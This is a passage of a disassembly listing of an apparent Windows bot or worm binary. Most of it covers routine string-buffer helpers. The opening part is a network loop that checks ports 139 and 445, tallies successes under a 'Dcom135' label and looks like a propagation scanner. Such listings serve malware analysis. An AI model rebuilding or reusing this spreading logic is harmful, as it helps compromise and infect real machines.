1Ch mov [ebp-63Dh], al movzx eax, byte ptr [ebp-63Dh] mov [ebp-40Ch], eax jmp short loc_402BBF ; --------------------------------------------------------------------------- loc_402B5F: ; CODE XREF: .text:00402B13j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_402B90 push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_4025FE add esp, 0Ch movzx eax, al mov [ebp-40Ch], eax jmp short loc_402BBF ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: .text:00402B69j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_402BBF push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_402428 add esp, 0Ch movzx eax, al mov [ebp-40Ch], eax loc_402BBF: ; CODE XREF: .text:00402B06j ; .text:00402B5Dj ... push dword ptr [ebp-41Ch] call dword_4264B8 ; closesocket loc_402BCB: ; CODE XREF: .text:00402AA7j cmp dword ptr [ebp-40Ch], 0 jnz short loc_402BDF push 3E8h call ds:Sleep ; Sleep loc_402BDF: ; CODE XREF: .text:00402BD2j mov eax, [ebp-8] inc eax mov [ebp-8], eax jmp loc_402A77 ; --------------------------------------------------------------------------- loc_402BEB: ; CODE XREF: .text:00402A7Bj ; .text:00402A88j lea ecx, [ebp-414h] call sub_401C16 cmp dword ptr [ebp-40Ch], 0 jz short loc_402C57 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset aSS_ ; "%s// %s." push 200h lea eax, [ebp-62Ch] push eax call __snprintf add esp, 14h lea eax, [ebp-62Ch] push eax call sub_40913D pop ecx mov eax, [ebp+0B0h] imul eax, 3Ch mov eax, dword_41EDA0[eax] inc eax mov ecx, [ebp+0B0h] imul ecx, 3Ch mov dword_41EDA0[ecx], eax loc_402C57: ; CODE XREF: .text:00402BFDj mov eax, [ebp-40Ch] loc_402C5D: ; CODE XREF: .text:00402A67j pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C60 proc near ; DATA XREF: .data:0041E004o push ebp mov ebp, esp call sub_403540 call sub_402C6F pop ebp retn sub_402C60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C6F proc near ; CODE XREF: sub_402C60+8p push ebp mov ebp, esp push offset __initp_misc_winxfltr ; void (__cdecl *)() call _atexit pop ecx pop ebp retn sub_402C6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C7F proc near ; CODE XREF: sub_4026C9+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_40317D mov eax, [ebp+var_4] leave retn 4 sub_402C7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CA1 proc near ; CODE XREF: sub_4026C9+19Ep ; sub_41AF94+32p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_40317D push ds:dword_41C230 push 0 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_402EB2 mov eax, [ebp+var_4] leave retn 4 sub_402CA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CD6 proc near ; CODE XREF: .text:00402B2Bp ; sub_41B009+19p ... var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_40317D push [ebp+Str] ; Str mov ecx, [ebp+var_4] call sub_402FF8 mov eax, [ebp+var_4] leave retn 8 sub_402CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D03 proc near ; CODE XREF: sub_4026C9+1B2p ; sub_40288F+63p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 1 mov ecx, [ebp+var_4] call sub_40317D leave retn sub_402D03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_402D16(char *Str) sub_402D16 proc near ; CODE XREF: sub_4026C9+166p var_4 = dword ptr -4 Src = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+Src] ; Str call sub_402D36 pop ecx push eax ; Size push [ebp+Src] ; Src mov ecx, [ebp+var_4] call sub_402E2B leave retn 4 sub_402D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_402D36(char *Str) sub_402D36 proc near ; CODE XREF: sub_402D16+Ap ; sub_402FF8+Ap Str = dword ptr 8 push ebp mov ebp, esp push [ebp+Str] ; Str call _strlen pop ecx pop ebp retn sub_402D36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_402D44(size_t Size, int) sub_402D44 proc near ; CODE XREF: sub_4026C9+14Cp ; sub_4026C9+18Bp var_8 = dword ptr -8 var_4 = dword ptr -4 Size = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, ds:dword_41C230 sub ecx, [eax+8] cmp ecx, [ebp+Size] ja short loc_402D62 call sub_41B110 loc_402D62: ; CODE XREF: sub_402D44+17j cmp [ebp+Size], 0 jbe short loc_402DAF push 0 mov eax, [ebp+var_8] mov eax, [eax+8] add eax, [ebp+Size] mov [ebp+var_4], eax push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403055 movzx eax, al test eax, eax jz short loc_402DAF lea eax, [ebp+arg_4] push eax ; int push [ebp+Size] ; Size mov eax, [ebp+var_8] mov eax, [eax+4] mov ecx, [ebp+var_8] add eax, [ecx+8] push eax ; Dst call sub_402DB6 add esp, 0Ch push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403018 loc_402DAF: ; CODE XREF: sub_402D44+22j ; sub_402D44+42j mov eax, [ebp+var_8] leave retn 8 sub_402D44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_402DB6(void *Dst, size_t Size, int) sub_402DB6 proc near ; CODE XREF: sub_402D44+58p Dst = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+Size] ; Size mov eax, [ebp+arg_8] movsx eax, byte ptr [eax] push eax ; Val push [ebp+Dst] ; Dst call _memset add esp, 0Ch pop ebp retn sub_402DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD0 proc near ; CODE XREF: sub_40288F+7Fp ; sub_40288F+88p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jnz short loc_402DEB call sub_403173 mov [ebp+var_8], eax jmp short loc_402DF4 ; --------------------------------------------------------------------------- loc_402DEB: ; CODE XREF: sub_402DD0+Fj mov eax, [ebp+var_4] mov eax, [eax+4] mov [ebp+var_8], eax loc_402DF4: ; CODE XREF: sub_402DD0+19j mov eax, [ebp+var_8] leave retn sub_402DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DF9 proc near ; CODE XREF: sub_40288F+30p ; sub_40288F+3Ap ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+8] leave retn sub_402DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E08 proc near ; CODE XREF: sub_4026C9+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short locret_402E27 push 0 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_403055 locret_402E27: ; CODE XREF: sub_402E08+10j leave retn 4 sub_402E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_402E2B(void *Src, size_t Size) sub_402E2B proc near ; CODE XREF: sub_402D16+17p var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, ds:dword_41C230 sub ecx, [eax+8] cmp ecx, [ebp+Size] ja short loc_402E49 call sub_41B110 loc_402E49: ; CODE XREF: sub_402E2B+17j cmp [ebp+Size], 0 jbe short loc_402E95 push 0 mov eax, [ebp+var_8] mov eax, [eax+8] add eax, [ebp+Size] mov [ebp+var_4], eax push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403055 movzx eax, al test eax, eax jz short loc_402E95 push [ebp+Size] ; Size push [ebp+Src] ; Src mov eax, [ebp+var_8] mov eax, [eax+4] mov ecx, [ebp+var_8] add eax, [ecx+8] push eax ; Dst call sub_402E9C add esp, 0Ch push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403018 loc_402E95: ; CODE XREF: sub_402E2B+22j ; sub_402E2B+42j mov eax, [ebp+var_8] leave retn 8 sub_402E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_402E9C(void *Dst, void *Src, size_t Size) sub_402E9C proc near ; CODE XREF: sub_402E2B+57p ; sub_402EB2+12Cp ... Dst = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch pop ebp retn sub_402E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EB2 proc near ; CODE XREF: sub_402CA1+29p var_C = dword ptr -0Ch var_8 = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx mov ecx, [ebp+arg_0] call sub_402DF9 cmp eax, [ebp+arg_4] jnb short loc_402ECD call sub_41B009 loc_402ECD: ; CODE XREF: sub_402EB2+14j mov ecx, [ebp+arg_0] call sub_402DF9 sub eax, [ebp+arg_4] mov [ebp+Size], eax mov eax, [ebp+arg_8] cmp eax, [ebp+Size] jnb short loc_402EE9 mov eax, [ebp+arg_8] mov [ebp+Size], eax loc_402EE9: ; CODE XREF: sub_402EB2+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jnz short loc_402F18 push ds:dword_41C230 mov eax, [ebp+arg_4] add eax, [ebp+Size] push eax mov ecx, [ebp+var_8] call sub_403257 push [ebp+arg_4] push 0 mov ecx, [ebp+var_8] call sub_403257 jmp loc_402FF1 ; --------------------------------------------------------------------------- loc_402F18: ; CODE XREF: sub_402EB2+3Dj cmp [ebp+Size], 0 jbe loc_402FB5 mov ecx, [ebp+arg_0] call sub_402DF9 cmp [ebp+Size], eax jnz loc_402FB5 mov ecx, [ebp+arg_0] call sub_402DD0 push eax mov ecx, [ebp+var_8] call sub_403462 movzx eax, byte ptr [eax] cmp eax, 0FEh jge short loc_402FB5 push [ebp+arg_0] push [ebp+var_8] call sub_403521 pop ecx pop ecx movzx eax, al test eax, eax jz short loc_402FB5 push 1 mov ecx, [ebp+var_8] call sub_40317D mov ecx, [ebp+arg_0] call sub_402DD0 mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+arg_0] call sub_402DF9 mov ecx, [ebp+var_8] mov [ecx+8], eax mov ecx, [ebp+arg_0] call sub_40333B mov ecx, [ebp+var_8] mov [ecx+0Ch], eax mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_403462 mov [ebp+var_C], eax mov eax, [ebp+var_C] mov al, [eax] add al, 1 mov ecx, [ebp+var_C] mov [ecx], al jmp short loc_402FF1 ; --------------------------------------------------------------------------- loc_402FB5: ; CODE XREF: sub_402EB2+6Aj ; sub_402EB2+7Bj ... push 1 push [ebp+Size] mov ecx, [ebp+var_8] call sub_403055 movzx eax, al test eax, eax jz short loc_402FF1 push [ebp+Size] ; Size mov ecx, [ebp+arg_0] call sub_402DD0 add eax, [ebp+arg_4] push eax ; Src mov eax, [ebp+var_8] push dword ptr [eax+4] ; Dst call sub_402E9C add esp, 0Ch push [ebp+Size] mov ecx, [ebp+var_8] call sub_403018 loc_402FF1: ; CODE XREF: sub_402EB2+61j ; sub_402EB2+101j ... mov eax, [ebp+var_8] leave retn 0Ch sub_402EB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_402FF8(char *Str) sub_402FF8 proc near ; CODE XREF: sub_402CD6+21p ; sub_403485+57p var_4 = dword ptr -4 Src = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+Src] ; Str call sub_402D36 pop ecx push eax ; Size push [ebp+Src] ; Src mov ecx, [ebp+var_4] call sub_403216 leave retn 4 sub_402FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403018 proc near ; CODE XREF: sub_402D44+66p ; sub_402E2B+65p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [eax+8], ecx mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] push eax call sub_403046 pop ecx pop ecx leave retn 4 sub_403018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403046 proc near ; CODE XREF: sub_403018+23p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov cl, [ecx] mov [eax], cl pop ebp retn sub_403046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403055 proc near ; CODE XREF: sub_402D44+38p ; sub_402E08+1Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_40330B cmp eax, [ebp+arg_0] jnb short loc_40306F call sub_41B110 loc_40306F: ; CODE XREF: sub_403055+13j mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_4030EB mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 movzx eax, byte ptr [eax] test eax, eax jz short loc_4030EB mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 movzx eax, byte ptr [eax] cmp eax, 0FFh jz short loc_4030EB cmp [ebp+arg_0], 0 jnz short loc_4030D9 mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov al, [eax] sub al, 1 mov ecx, [ebp+var_8] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_40317D xor al, al jmp locret_40316F ; --------------------------------------------------------------------------- loc_4030D9: ; CODE XREF: sub_403055+54j push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40334A mov al, 1 jmp locret_40316F ; --------------------------------------------------------------------------- loc_4030EB: ; CODE XREF: sub_403055+21j ; sub_403055+36j ... cmp [ebp+arg_0], 0 jnz short loc_40311C movzx eax, [ebp+arg_4] test eax, eax jz short loc_403105 push 1 mov ecx, [ebp+var_4] call sub_40317D jmp short loc_403118 ; --------------------------------------------------------------------------- loc_403105: ; CODE XREF: sub_403055+A2j mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_403118 push 0 mov ecx, [ebp+var_4] call sub_403018 loc_403118: ; CODE XREF: sub_403055+AEj ; sub_403055+B7j xor al, al jmp short locret_40316F ; --------------------------------------------------------------------------- loc_40311C: ; CODE XREF: sub_403055+9Aj movzx eax, [ebp+arg_4] test eax, eax jz short loc_40314F mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 1Fh ja short loc_403138 mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short loc_40314F loc_403138: ; CODE XREF: sub_403055+D6j push 1 mov ecx, [ebp+var_4] call sub_40317D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40334A jmp short loc_40316D ; --------------------------------------------------------------------------- loc_40314F: ; CODE XREF: sub_403055+CDj ; sub_403055+E1j movzx eax, [ebp+arg_4] test eax, eax jnz short loc_40316D mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short loc_40316D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_40334A loc_40316D: ; CODE XREF: sub_403055+F8j ; sub_403055+100j ... mov al, 1 locret_40316F: ; CODE XREF: sub_403055+7Fj ; sub_403055+91j ... leave retn 8 sub_403055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403173 proc near ; CODE XREF: sub_402DD0+11p push ebp mov ebp, esp mov eax, offset dword_41C234 pop ebp retn sub_403173 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40317D proc near ; CODE XREF: sub_402C7F+16p ; sub_402CA1+16p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx movzx eax, [ebp+arg_0] test eax, eax jz short loc_403196 mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jnz short loc_403198 loc_403196: ; CODE XREF: sub_40317D+Ej jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_40317D+17j mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 movzx eax, byte ptr [eax] test eax, eax jz short loc_4031C5 mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 movzx eax, byte ptr [eax] cmp eax, 0FFh jnz short loc_4031E0 loc_4031C5: ; CODE XREF: sub_40317D+2Ej mov eax, [ebp+var_4] mov eax, [eax+0Ch] inc eax inc eax push eax ; int mov eax, [ebp+var_4] mov eax, [eax+4] dec eax push eax ; Memory mov ecx, [ebp+var_4] call sub_403471 jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_4031E0: ; CODE XREF: sub_40317D+46j mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_403462 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov al, [eax] sub al, 1 mov ecx, [ebp+var_8] mov [ecx], al loc_4031FD: ; CODE XREF: sub_40317D:loc_403196j ; sub_40317D+61j mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax+8], 0 mov eax, [ebp+var_4] and dword ptr [eax+0Ch], 0 leave retn 4 sub_40317D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_403216(void *Src, size_t Size) sub_403216 proc near ; CODE XREF: sub_402FF8+17p var_4 = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 1 push [ebp+Size] mov ecx, [ebp+var_4] call sub_403055 movzx eax, al test eax, eax jz short loc_403250 push [ebp+Size] ; Size push [ebp+Src] ; Src mov eax, [ebp+var_4] push dword ptr [eax+4] ; Dst call sub_402E9C add esp, 0Ch push [ebp+Size] mov ecx, [ebp+var_4] call sub_403018 loc_403250: ; CODE XREF: sub_403216+19j mov eax, [ebp+var_4] leave retn 8 sub_403216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403257 proc near ; CODE XREF: sub_402EB2+4Fp ; sub_402EB2+5Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov eax, [eax+8] cmp eax, [ebp+arg_0] jnb short loc_40326F call sub_41B009 loc_40326F: ; CODE XREF: sub_403257+11j mov ecx, [ebp+var_8] call sub_403485 mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_403291 mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] mov [ebp+arg_4], eax loc_403291: ; CODE XREF: sub_403257+2Cj cmp [ebp+arg_4], 0 jbe short loc_4032EE mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_0] sub eax, [ebp+arg_4] push eax ; Size mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax ; Src mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] push eax ; Dst call sub_4032F5 add esp, 0Ch mov eax, [ebp+var_8] mov eax, [eax+8] sub eax, [ebp+arg_4] mov [ebp+var_4], eax push 0 push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403055 movzx eax, al test eax, eax jz short loc_4032EE push [ebp+var_4] mov ecx, [ebp+var_8] call sub_403018 loc_4032EE: ; CODE XREF: sub_403257+3Ej ; sub_403257+8Aj mov eax, [ebp+var_8] leave retn 8 sub_403257 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4032F5(void *Dst, void *Src, size_t Size) sub_4032F5 proc near ; CODE XREF: sub_403257+64p Dst = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+Dst] ; Dst call _memcpy_0 add esp, 0Ch pop ebp retn sub_4032F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40330B proc near ; CODE XREF: sub_403055+Bp ; sub_40334A+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx mov ecx, [ebp+var_8] call sub_4034FA mov [ebp+var_4], eax cmp [ebp+var_4], 2 ja short loc_40332E mov [ebp+var_C], 1 jmp short loc_403336 ; --------------------------------------------------------------------------- loc_40332E: ; CODE XREF: sub_40330B+18j mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_C], eax loc_403336: ; CODE XREF: sub_40330B+21j mov eax, [ebp+var_C] leave retn sub_40330B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40333B proc near ; CODE XREF: sub_402EB2+D9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+0Ch] leave retn sub_40333B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40334A proc near ; CODE XREF: sub_403055+8Ap ; sub_403055+F3p ... var_2C = dword ptr -2Ch Size = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset sub_41B34C call __EH_prolog push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_20], ecx mov eax, [ebp+arg_0] or al, 1Fh mov [ebp+var_1C], eax mov ecx, [ebp+var_20] call sub_40330B cmp eax, [ebp+var_1C] jnb short loc_40337C mov eax, [ebp+arg_0] mov [ebp+var_1C], eax loc_40337C: ; CODE XREF: sub_40334A+2Aj and [ebp+var_4], 0 push 0 mov eax, [ebp+var_1C] inc eax inc eax push eax mov ecx, [ebp+var_20] call sub_4034E3 mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_18], eax jmp short loc_4033BA ; --------------------------------------------------------------------------- loc_40339B: ; DATA XREF: .rdata:stru_41CAF8o mov eax, [ebp+arg_0] mov [ebp+var_1C], eax push 0 mov eax, [ebp+var_1C] inc eax inc eax push eax mov ecx, [ebp+var_20] call sub_4034E3 mov [ebp+var_18], eax mov eax, offset loc_4033BA retn ; --------------------------------------------------------------------------- loc_4033BA: ; CODE XREF: sub_40334A+4Fj ; DATA XREF: sub_40334A+6Ao or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jbe short loc_4033F9 mov eax, [ebp+var_20] mov eax, [eax+8] cmp eax, [ebp+var_1C] jbe short loc_4033DA mov eax, [ebp+var_1C] mov [ebp+Size], eax jmp short loc_4033E3 ; --------------------------------------------------------------------------- loc_4033DA: ; CODE XREF: sub_40334A+86j mov eax, [ebp+var_20] mov eax, [eax+8] mov [ebp+Size], eax loc_4033E3: ; CODE XREF: sub_40334A+8Ej push [ebp+Size] ; Size mov eax, [ebp+var_20] push dword ptr [eax+4] ; Src mov eax, [ebp+var_18] inc eax push eax ; Dst call sub_402E9C add esp, 0Ch loc_4033F9: ; CODE XREF: sub_40334A+7Bj mov eax, [ebp+var_20] mov eax, [eax+8] mov [ebp+var_14], eax push 1 mov ecx, [ebp+var_20] call sub_40317D mov eax, [ebp+var_18] inc eax mov ecx, [ebp+var_20] mov [ecx+4], eax mov eax, [ebp+var_20] push dword ptr [eax+4] mov ecx, [ebp+var_20] call sub_403462 and byte ptr [eax], 0 mov eax, [ebp+var_20] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov eax, [ebp+var_14] cmp eax, [ebp+var_1C] jbe short loc_403440 mov eax, [ebp+var_1C] mov [ebp+var_2C], eax jmp short loc_403446 ; --------------------------------------------------------------------------- loc_403440: ; CODE XREF: sub_40334A+ECj mov eax, [ebp+var_14] mov [ebp+var_2C], eax loc_403446: ; CODE XREF: sub_40334A+F4j push [ebp+var_2C] mov ecx, [ebp+var_20] call sub_403018 mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_40334A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403462 proc near ; CODE XREF: sub_402EB2+8Dp ; sub_402EB2+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] dec eax leave retn 4 sub_403462 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_403471(void *Memory, int) sub_403471 proc near ; CODE XREF: sub_40317D+5Cp var_4 = dword ptr -4 Memory = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+Memory] ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx leave retn 8 sub_403471 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403485 proc near ; CODE XREF: sub_403257+1Bp var_8 = dword ptr -8 Str = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short locret_4034E1 mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_403462 movzx eax, byte ptr [eax] test eax, eax jz short locret_4034E1 mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_403462 movzx eax, byte ptr [eax] cmp eax, 0FFh jz short locret_4034E1 mov eax, [ebp+var_8] mov eax, [eax+4] mov [ebp+Str], eax push 1 mov ecx, [ebp+var_8] call sub_40317D push [ebp+Str] ; Str mov ecx, [ebp+var_8] call sub_402FF8 locret_4034E1: ; CODE XREF: sub_403485+Fj ; sub_403485+24j ... leave retn sub_403485 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034E3 proc near ; CODE XREF: sub_40334A+41p ; sub_40334A+62p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push [ebp+arg_0] call sub_403528 pop ecx pop ecx leave retn 8 sub_4034E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034FA proc near ; CODE XREF: sub_40330B+Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_4], 0 jbe short loc_403515 mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp short loc_40351C ; --------------------------------------------------------------------------- loc_403515: ; CODE XREF: sub_4034FA+11j mov [ebp+var_C], 1 loc_40351C: ; CODE XREF: sub_4034FA+19j mov eax, [ebp+var_C] leave retn sub_4034FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403521 proc near ; CODE XREF: sub_402EB2+A2p push ebp mov ebp, esp mov al, 1 pop ebp retn sub_403521 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403528 proc near ; CODE XREF: sub_4034E3+Cp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jge short loc_403535 and [ebp+arg_0], 0 loc_403535: ; CODE XREF: sub_403528+7j push [ebp+arg_0] ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx pop ebp retn sub_403528 endp ; =============== S U B R O U T I N E 